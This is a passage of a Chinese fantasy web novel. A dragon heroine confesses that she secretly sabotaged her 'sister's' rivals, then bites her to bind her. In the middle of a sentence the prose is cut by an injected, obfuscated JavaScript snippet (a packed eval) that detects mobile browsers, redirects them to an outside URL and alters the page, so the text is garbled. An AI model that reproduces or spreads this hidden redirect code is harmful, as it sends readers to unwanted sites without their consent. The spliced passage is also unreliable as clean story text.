——擅长幻术的螭龙和擅长体术的金龙,在成长期中期对上刚刚进入成长期后期——修为差了一大截,根本没有可比性。 “就在我以为自己难逃一顿毒打的时候——”云出岫转过身,望向冷千春,那双墨色的眼瞳里,倒映着冷千春狼狈而疲惫的身影,“姐姐出现了。” 冷千春望着她,望着那张从小就熟悉的脸,忽然觉得喉咙发紧。 “你比我大,在龙牙待了些时日,察觉了那个金龙的不正常,就追出来看看。”云出岫的声音依旧很轻,“然后你救了我。” “你把那个金龙打跑了,回头问我有没有受伤。我其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310295|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有,但不好意思承认,只是一味地摇头……你也好骗,立刻就松了口气,蹲下来和我平视,说——” 雨声忽然变得很轻,似乎在宣告着这次突如其来的大暴雨已经走向了尾声。 “你说,‘螭龙系怎么了?隐系出身又怎么了?我也是隐系出身,我会成为最厉害的那个,然后改了这该死的血裔划分法。’” 烛龙怔然,她自己都不记得清自己说过这句话了,实在是太久远,太年少时候的事情。 但云出岫偏偏分毫不差的记得。 “从那以后,你就是我发誓一定要维护的人。”螭龙半身被雨水打得透湿,自己却浑不在意,笑着走近她,一步,两步,雨水从她发梢滴落,在两人之间的地面上砸出细碎的水花。 “隐系出身,霄系的资质,能在从小被精细培养的晟系幼崽里厮杀出来,被龙尊带在身边教导——姐姐,你以为你是怎么走到这一步的?” 她停在冷千春面前,抬手,轻轻抚上她的脸颊。 触感冰凉,带着雨水独有的气息。 “我在背后调查研究,四处走访,帮你清除所有障碍。你看到的那些意外,那些对手莫名其妙出事,那些刚好对你有利的局势……还不明白吗,都是我。” 冷千春后退半步,瞳孔地震,嘴唇翕张,只从喉咙里挤出一点气音:“不,不是……别说了,别说了……” “那个金龙后来为什么突然闭关,再也没出来找过你麻烦?那个在龙尊面前故意说你坏话,想保同血裔的金龙的长老,为什么突然被调去守边?啊,还有那个天赋最好的雷龙——我劝你不要上场,你执拗,不愿放弃难得的机会,我只好冒了点风险,让他在考核前一夜突然经脉受损咯。” 云出岫的拇指轻轻摩挲着她脖颈间青紫交错的痕迹,动作温柔得像很多年前,那个躲在树后看她,每次考核后给她擦汗喂水的小龙崽。 “都是我。” 是她记忆里的岫岫。 烛龙又想干呕了。 “我是平仙,只是暂时在下界走一遭罢了,看不起妖族,对妖界也没有丝毫归属感。” 云出岫低下头,额头抵上她的额头,“可这段人生再怎么功利,也是我一点点过过来的,姐姐,酸甜苦辣扎破舌尖,淌出来的,还是妖族的血。” 雨声减弱,噼里啪啦的嘈杂渐渐转向淅淅沥沥的清脆,冷千春能感觉到她的睫毛扫在自己眉骨上,还在纠结要怎么推开,突然,尖锐的疼痛从脖颈侧传来! 冷千春浑身一僵,想要推开她,却发现自己动不了了,只能任由云出岫重重咬破了她的皮肤。 “你做什么!”烛龙终于挣开她,捂着脖子后退两步,踉跄着撞上祭坛边缘。 云出岫笑立原地,黑发黑眼的螭龙伸出舌尖,殷红的色泽刺破黑与白的画框,像狠辣老练的猎人抽出将猎物一击毙命的匕首,那一抹殷红的血珠格外刺眼。 “只是一层保险,”她笑着说,“有了这滴血,姐姐在仙界就离不开我了。”